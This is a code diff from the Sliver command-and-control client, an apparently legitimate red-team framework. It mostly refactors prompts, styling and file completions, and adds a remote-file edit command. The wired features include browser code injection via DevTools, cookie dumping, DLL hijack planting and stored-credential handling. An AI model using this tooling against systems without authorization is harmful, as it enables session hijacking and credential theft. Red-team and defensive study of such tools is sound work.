suffixes := []string{"kH/s", "MH/s", "GH/s", "TH/s", "PH/s"}
|
||||
if exp == 0 {
|
||||
return fmt.Sprintf("%d H/s", rate)
|
||||
}
|
||||
if exp > len(suffixes) {
|
||||
exp = len(suffixes)
|
||||
}
|
||||
return fmt.Sprintf("%.2f %s", value, suffixes[exp-1])
|
||||
}
|
||||
@@ -25,7 +25,7 @@ func CrackHcstat2Completer(con *console.SliverClient) carapace.Action {
|
||||
}
|
||||
|
||||
results = append(results, file.Name)
|
||||
desc := fmt.Sprintf("%s (%s chunks, chunk size: %s)", byteCountSI(file.UncompressedSize), len(file.Chunks), byteCountSI(file.ChunkSize))
|
||||
desc := fmt.Sprintf("%s (%d chunks, chunk size: %s)", byteCountSI(file.UncompressedSize), len(file.Chunks), byteCountSI(file.ChunkSize))
|
||||
results = append(results, desc)
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
# client/command/creds
|
||||
|
||||
## Overview
|
||||
|
||||
Implements the 'creds' command group for the Sliver client console. Handlers map Cobra invocations to creds workflows such as ADD, hash types, RM, and select.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `add.go` – Adds credentials to the client store via interactive or flag-based input.
|
||||
- `commands.go` – Registers credential management commands and subcommands.
|
||||
- `creds.go` – Lists stored credentials and formats them for display.
|
||||
- `hash-types.go` – Enumerates supported hash types and their identifiers.
|
||||
- `rm.go` – Removes credentials by ID or filter from the store.
|
||||
- `select.go` – Selects credentials for use in other workflows, updating defaults.
|
||||
@@ -1,6 +1,7 @@
|
||||
package creds
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -65,6 +66,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
(*comp)["hash-type"] = CredsHashTypeCompleter(con)
|
||||
})
|
||||
carapace.Gen(credsAddFileCmd).PositionalCompletion(carapace.ActionFiles().Tag("credential file"))
|
||||
completers.RegisterLocalFilePathPositionalCompletion(credsAddFileCmd, 0)
|
||||
credsAddCmd.AddCommand(credsAddFileCmd)
|
||||
|
||||
credsRmCmd := &cobra.Command{
|
||||
|
||||
@@ -61,9 +61,9 @@ func printCollection(collection string, creds []*clientpb.Credential, con *conso
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
if collection != "" {
|
||||
tw.SetTitle(console.Bold + collection + console.Normal)
|
||||
tw.SetTitle(console.StyleBold.Render(collection))
|
||||
} else {
|
||||
tw.SetTitle(console.Bold + "Default Collection" + console.Normal)
|
||||
tw.SetTitle(console.StyleBold.Render("Default Collection"))
|
||||
}
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
|
||||
@@ -8,8 +8,8 @@ import (
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
)
|
||||
@@ -55,11 +55,7 @@ func SelectCredential(plaintext bool, hashType clientpb.HashType, con *console.S
|
||||
}
|
||||
|
||||
selected := ""
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a credential:",
|
||||
Options: options,
|
||||
}
|
||||
err = survey.AskOne(prompt, &selected)
|
||||
err = forms.Select("Select a credential:", options, &selected)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
@@ -1,3 +1,17 @@
|
||||
# Cursed
|
||||
# client/command/cursed
|
||||
|
||||
Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).
|
||||
## Overview
|
||||
|
||||
Implements the 'cursed' command group for the Sliver client console. Handlers map Cobra invocations to cursed workflows such as cursed chrome, cursed console, cursed cookies, and cursed edge.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `commands.go` – Exposes the cursed command suite and binds individual subcommands for supported targets.
|
||||
- `cursed-chrome.go` – Launches or hijacks Chrome debugging sessions, locating executables and wiring remote control.
|
||||
- `cursed-console.go` – Provides the interactive cursed console experience atop Chrome DevTools sessions.
|
||||
- `cursed-cookies.go` – Fetches and displays browser cookies from an active cursed session.
|
||||
- `cursed-edge.go` – Mirrors the Chrome workflow for Microsoft Edge, including process discovery logic.
|
||||
- `cursed-electron.go` – Drives cursed interactions with arbitrary Electron apps, validating binaries and starting injected sessions.
|
||||
- `cursed-rm.go` – Removes cursed sessions from the client cache and tears down associated resources.
|
||||
- `cursed-screenshot.go` – Captures screenshots from a cursed browser context via DevTools APIs.
|
||||
- `cursed.go` – Manages the cursed process registry, selection helpers, and remote debugger configuration defaults.
|
||||
@@ -1,6 +1,7 @@
|
||||
package cursed
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -75,6 +76,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.BindFlagCompletions(cursedChromeCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(cursedChromeCmd, "payload")
|
||||
cursedChromeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
|
||||
carapace.Gen(cursedChromeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Chrome CLI arguments"))
|
||||
|
||||
@@ -99,6 +101,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.BindFlagCompletions(cursedEdgeCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(cursedEdgeCmd, "payload")
|
||||
cursedEdgeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
|
||||
carapace.Gen(cursedEdgeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Edge CLI arguments"))
|
||||
|
||||
@@ -130,6 +133,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.Bind("", false, CursedCookiesCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("save", "s", "", "save to file")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(CursedCookiesCmd, "save")
|
||||
|
||||
cursedScreenshotCmd := &cobra.Command{
|
||||
Use: consts.ScreenshotStr,
|
||||
@@ -144,6 +148,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
f.Int64P("quality", "q", 100, "screenshot quality (1 - 100)")
|
||||
f.StringP("save", "s", "", "save to file")
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletion(cursedScreenshotCmd, "save")
|
||||
|
||||
return []*cobra.Command{cursedCmd}
|
||||
}
|
||||
@@ -23,19 +23,19 @@ import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"log"
|
||||
insecureRand "math/rand"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/bishopfox/sliver/client/tcpproxy"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
@@ -94,7 +94,7 @@ func CursedChromeCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
}
|
||||
if chromeExt != nil {
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Found viable Chrome extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
|
||||
con.PrintInfof("Found viable Chrome extension %s (%s)\n", console.StyleBold.Render(chromeExt.Title), chromeExt.ID)
|
||||
con.PrintInfof("Injecting payload ... ")
|
||||
cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||
// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
|
||||
@@ -120,10 +120,10 @@ func avadaKedavraChrome(session *clientpb.Session, cmd *cobra.Command, con *cons
|
||||
if chromeProcess != nil {
|
||||
con.PrintWarnf("Found running Chrome process: %d (ppid: %d)\n", chromeProcess.GetPid(), chromeProcess.GetPpid())
|
||||
con.PrintWarnf("Sliver will need to kill and restart the Chrome process in order to perform code injection.\n")
|
||||
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.PrintWarnf("Sliver will attempt to restore the user's session, however %s\n", console.StyleBold.Render("DATA LOSS MAY OCCUR!"))
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Chrome process?"}, &confirm)
|
||||
err = forms.Confirm("Kill and restore existing Chrome process?", &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
@@ -213,7 +213,7 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, cmd *cobra
|
||||
con.PrintInfof("Waiting for %s process to initialize ... ", name)
|
||||
time.Sleep(2 * time.Second)
|
||||
|
||||
bindPort := insecureRand.Intn(10000) + 40000
|
||||
bindPort := util.Intn(10000) + 40000
|
||||
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
|
||||
|
||||
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
|
||||
|
||||
@@ -26,9 +26,9 @@ import (
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/reeflective/readline"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -71,12 +71,8 @@ func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.Sliver
|
||||
table.Flush()
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a debug target:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
err := survey.AskOne(prompt, &selected)
|
||||
err := forms.Select("Select a debug target:", options, &selected)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
@@ -97,7 +93,7 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
|
||||
tmpFile, _ := os.CreateTemp("", "cursed")
|
||||
shell := readline.NewShell()
|
||||
shell.History.AddFromFile("cursed history", tmpFile.Name())
|
||||
shell.Prompt.Primary(func() string { return "\033[31mcursed »\033[0m " })
|
||||
shell.Prompt.Primary(func() string { return console.StyleRed.Render("cursed »") + " " })
|
||||
// EOFPrompt: "exit",
|
||||
|
||||
if con.Settings.VimMode {
|
||||
@@ -115,7 +111,7 @@ func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlor
|
||||
}
|
||||
}
|
||||
|
||||
con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
|
||||
con.Printf("%s\n\n", console.StyleBold.Render(">>> Cursed Console, use ':help' for options"))
|
||||
|
||||
for {
|
||||
line, err := shell.Readline()
|
||||
|
||||
@@ -21,9 +21,10 @@ package cursed
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"encoding/json"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/spf13/cobra"
|
||||
@@ -46,24 +47,24 @@ func CursedCookiesCmd(cmd *cobra.Command, con *console.SliverClient, args []stri
|
||||
if len(cookies) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
saveFile, _ := cmd.Flags().GetString("save")
|
||||
if saveFile == "" {
|
||||
saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
|
||||
}
|
||||
jsonCookies := []string{}
|
||||
for _, cookie := range cookies {
|
||||
jsonCookie, err := cookie.MarshalJSON()
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to marshal cookie: %s\n", err)
|
||||
continue
|
||||
}
|
||||
jsonCookies = append(jsonCookies, string(jsonCookie))
|
||||
|
||||
jsonBytes, err := json.MarshalIndent(cookies, "", " ")
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to marshal cookies: %s\n", err)
|
||||
return
|
||||
}
|
||||
err = os.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0o600)
|
||||
|
||||
err = os.WriteFile(saveFile, jsonBytes, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save cookies: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Saved to %s", saveFile)
|
||||
con.Println()
|
||||
}
|
||||
@@ -23,9 +23,9 @@ import (
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
@@ -77,7 +77,7 @@ func CursedEdgeCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
|
||||
}
|
||||
if chromeExt != nil {
|
||||
con.Printf("success!\n")
|
||||
con.PrintInfof("Found viable Edge extension %s%s%s (%s)\n", console.Bold, chromeExt.Title, console.Normal, chromeExt.ID)
|
||||
con.PrintInfof("Found viable Edge extension %s (%s)\n", console.StyleBold.Render(chromeExt.Title), chromeExt.ID)
|
||||
con.PrintInfof("Injecting payload ... ")
|
||||
cmd, _, _ := overlord.GetChromeContext(chromeExt.WebSocketDebuggerURL, curse)
|
||||
// extCtxTimeout, cancel := context.WithTimeout(cmd, 10*time.Second)
|
||||
@@ -103,10 +103,10 @@ func avadaKedavraEdge(session *clientpb.Session, cmd *cobra.Command, con *consol
|
||||
if edgeProcess != nil {
|
||||
con.PrintWarnf("Found running Edge process: %d (ppid: %d)\n", edgeProcess.GetPid(), edgeProcess.GetPpid())
|
||||
con.PrintWarnf("Sliver will need to kill and restart the Edge process in order to perform code injection.\n")
|
||||
con.PrintWarnf("Sliver will attempt to restore the user's session, however %sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.PrintWarnf("Sliver will attempt to restore the user's session, however %s\n", console.StyleBold.Render("DATA LOSS MAY OCCUR!"))
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = survey.AskOne(&survey.Confirm{Message: "Kill and restore existing Edge process?"}, &confirm)
|
||||
err = forms.Confirm("Kill and restore existing Edge process?", &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
|
||||
@@ -22,18 +22,18 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
insecureRand "math/rand"
|
||||
"path"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/bishopfox/sliver/client/tcpproxy"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
@@ -85,10 +85,10 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *co
|
||||
if electronProcess != nil {
|
||||
con.PrintWarnf("Found running '%s' process: %d (ppid: %d)\n", path.Base(electronExe), electronProcess.GetPid(), electronProcess.GetPpid())
|
||||
con.PrintWarnf("Sliver will need to kill and restart the process in order to perform code injection.\n")
|
||||
con.PrintWarnf("%sDATA LOSS MAY OCCUR!%s\n", console.Bold, console.Normal)
|
||||
con.PrintWarnf("%s\n", console.StyleBold.Render("DATA LOSS MAY OCCUR!"))
|
||||
con.Printf("\n")
|
||||
confirm := false
|
||||
err = survey.AskOne(&survey.Confirm{Message: "Kill and restart the process?"}, &confirm)
|
||||
err = forms.Confirm("Kill and restart the process?", &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
@@ -118,7 +118,7 @@ func avadaKedavraElectron(electronExe string, session *clientpb.Session, cmd *co
|
||||
return curse
|
||||
}
|
||||
|
||||
func checkElectronPath(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (bool, error) {
|
||||
func checkElectronPath(electronExe string, _ *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (bool, error) {
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: electronExe,
|
||||
@@ -175,7 +175,7 @@ func startCursedElectronProcess(electronExe string, session *clientpb.Session, c
|
||||
con.PrintInfof("Waiting for process to initialize ... ")
|
||||
time.Sleep(2 * time.Second)
|
||||
|
||||
bindPort := insecureRand.Intn(10000) + 40000
|
||||
bindPort := util.Intn(10000) + 40000
|
||||
bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
|
||||
|
||||
remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
|
||||
|
||||
@@ -22,9 +22,9 @@ import (
|
||||
"context"
|
||||
"strconv"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
@@ -44,7 +44,7 @@ func CursedRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
core.CloseCursedProcessesByBindPort(session.ID, bindPort)
|
||||
if kill {
|
||||
confirm := false
|
||||
err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
|
||||
err := forms.Confirm("Kill the cursed process?", &confirm)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
|
||||
@@ -21,15 +21,15 @@ package cursed
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
insecureRand "math/rand"
|
||||
"strconv"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
@@ -95,12 +95,8 @@ func selectCursedProcess(con *console.SliverClient) *core.CursedProcess {
|
||||
table.Flush()
|
||||
options := strings.Split(outputBuf.String(), "\n")
|
||||
options = options[:len(options)-1] // Remove the last empty option
|
||||
prompt := &survey.Select{
|
||||
Message: "Select a curse:",
|
||||
Options: options,
|
||||
}
|
||||
selected := ""
|
||||
err := survey.AskOne(prompt, &selected)
|
||||
err := forms.Select("Select a curse:", options, &selected)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil
|
||||
@@ -115,7 +111,7 @@ func selectCursedProcess(con *console.SliverClient) *core.CursedProcess {
|
||||
func getRemoteDebuggerPort(cmd *cobra.Command) int {
|
||||
port, _ := cmd.Flags().GetInt("remote-debugging-port")
|
||||
if port == 0 {
|
||||
port = insecureRand.Intn(30000) + 10000
|
||||
port = util.Intn(30000) + 10000
|
||||
}
|
||||
return port
|
||||
}
|
||||
@@ -1,4 +1,10 @@
|
||||
DLL Hijack
|
||||
===========
|
||||
# client/command/dllhijack
|
||||
|
||||
Implements command related to `dllhijack`.
|
||||
## Overview
|
||||
|
||||
Implements the 'dllhijack' command group for the Sliver client console.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `commands.go` – Registers the dllhijack command, its flags, and completions for selecting remote DLL targets.
|
||||
- `dllhijack.go` – Performs the RPC call that plants a Sliver DLL alongside a target executable for hijacking.
|
||||
@@ -1,6 +1,7 @@
|
||||
package dllhijack
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
@@ -37,6 +38,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
(*comp)["file"] = carapace.ActionFiles()
|
||||
(*comp)["profile"] = generate.ProfileNameCompleter(con)
|
||||
})
|
||||
completers.RegisterLocalFilePathFlagCompletions(dllhijackCmd, "reference-file", "file")
|
||||
carapace.Gen(dllhijackCmd).PositionalCompletion(carapace.ActionValues().Usage("Path to upload the DLL to on the remote system"))
|
||||
|
||||
return []*cobra.Command{dllhijackCmd}
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
package edit
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
// Commands returns the edit command.
|
||||
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
editCmd := &cobra.Command{
|
||||
Use: consts.EditStr,
|
||||
Short: "Edit a remote text file",
|
||||
Long: help.GetHelpFor([]string{consts.EditStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
EditCmd(cmd, con, args)
|
||||
},
|
||||
GroupID: consts.FilesystemHelpGroup,
|
||||
}
|
||||
|
||||
flags.Bind("", false, editCmd, func(f *pflag.FlagSet) {
|
||||
f.String("syntax", "", "syntax highlighting lexer name (optional)")
|
||||
f.Bool("syntax-select", false, "prompt to select syntax highlighting lexer")
|
||||
f.Bool("line-numbers", false, "show line numbers")
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
|
||||
carapace.Gen(editCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("path to the remote file to edit"),
|
||||
)
|
||||
|
||||
return []*cobra.Command{editCmd}
|
||||
}
|
||||
@@ -0,0 +1,390 @@
|
||||
package edit
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
"unicode/utf8"
|
||||
|
||||
tea "charm.land/bubbletea/v2"
|
||||
"github.com/alecthomas/chroma/v2"
|
||||
"github.com/alecthomas/chroma/v2/lexers"
|
||||
"github.com/bishopfox/sliver/client/command/filesystem"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"github.com/charmbracelet/colorprofile"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/term"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const beaconPollInterval = 1 * time.Second
|
||||
|
||||
// EditCmd downloads a remote text file, opens it in a TUI editor, and optionally uploads changes.
|
||||
func EditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
remotePath := strings.TrimSpace(args[0])
|
||||
if remotePath == "" {
|
||||
con.PrintErrorf("Missing parameter: remote path\n")
|
||||
return
|
||||
}
|
||||
|
||||
ctx, cancel := con.GrpcContext(cmd)
|
||||
defer cancel()
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
|
||||
download, err := downloadRemote(ctx, con, cmd, remotePath)
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", download.Response.Err)
|
||||
return
|
||||
}
|
||||
if !download.Exists {
|
||||
con.PrintErrorf("Remote file does not exist: %s\n", remotePath)
|
||||
return
|
||||
}
|
||||
if download.IsDir {
|
||||
con.PrintErrorf("Remote path is a directory: %s\n", download.Path)
|
||||
return
|
||||
}
|
||||
|
||||
data := download.Data
|
||||
if download.Encoder == "gzip" {
|
||||
data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Decoding failed %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if !isText(data) {
|
||||
con.PrintErrorf("Refusing to edit non-text file: %s\n", download.Path)
|
||||
return
|
||||
}
|
||||
|
||||
path := download.Path
|
||||
if path == "" {
|
||||
path = remotePath
|
||||
}
|
||||
|
||||
lineEnding := detectLineEnding(data)
|
||||
content := normalizeLineEndings(data)
|
||||
|
||||
lexer, lexerName, err := resolveSyntax(cmd, path, string(data))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
showLineNumbers, _ := cmd.Flags().GetBool("line-numbers")
|
||||
|
||||
for {
|
||||
result, err := runEditor(content, path, lexer, lexerName, showLineNumbers)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Editor error: %s\n", err)
|
||||
return
|
||||
}
|
||||
content = result.Content
|
||||
|
||||
if result.Action == actionNone {
|
||||
return
|
||||
}
|
||||
|
||||
if !result.Modified {
|
||||
if result.Action == actionSaveQuit {
|
||||
con.PrintInfof("No changes to upload for %s\n", path)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
switch result.Action {
|
||||
case actionSaveQuit:
|
||||
uploadNow, err := confirm("Upload changes to remote file (overwrite)?")
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if !uploadNow {
|
||||
keepEditing, err := confirm("Continue editing?")
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if keepEditing {
|
||||
continue
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
uploadData := applyLineEnding(content, lineEnding)
|
||||
if err := uploadEditedContent(cmd, con, path, uploadData); err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
return
|
||||
case actionQuit:
|
||||
if result.Force {
|
||||
return
|
||||
}
|
||||
discard, err := confirm("Discard changes?")
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if discard {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func runEditor(content, filename string, lexer chroma.Lexer, lexerName string, showLineNumbers bool) (editorResult, error) {
|
||||
model := newEditorModel(content, filename, lexer, lexerName, showLineNumbers)
|
||||
width, height := 80, 24
|
||||
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
|
||||
width, height = w, h
|
||||
}
|
||||
program := tea.NewProgram(
|
||||
model,
|
||||
tea.WithWindowSize(width, height),
|
||||
tea.WithColorProfile(colorprofile.TrueColor),
|
||||
)
|
||||
finalModel, err := program.Run()
|
||||
if err != nil {
|
||||
return editorResult{}, err
|
||||
}
|
||||
editor, ok := finalModel.(*editorModel)
|
||||
if !ok {
|
||||
return editorResult{}, fmt.Errorf("unexpected editor state")
|
||||
}
|
||||
return editor.result(), nil
|
||||
}
|
||||
|
||||
func downloadRemote(ctx context.Context, con *console.SliverClient, cmd *cobra.Command, path string) (*sliverpb.Download, error) {
|
||||
download, err := con.Rpc.Download(ctx, &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: path,
|
||||
RestrictedToFile: true,
|
||||
})
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if download.Response != nil && download.Response.Async {
|
||||
taskID := download.Response.TaskID
|
||||
download = &sliverpb.Download{}
|
||||
if err := waitForBeaconTaskResponse(ctx, con, taskID, download); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
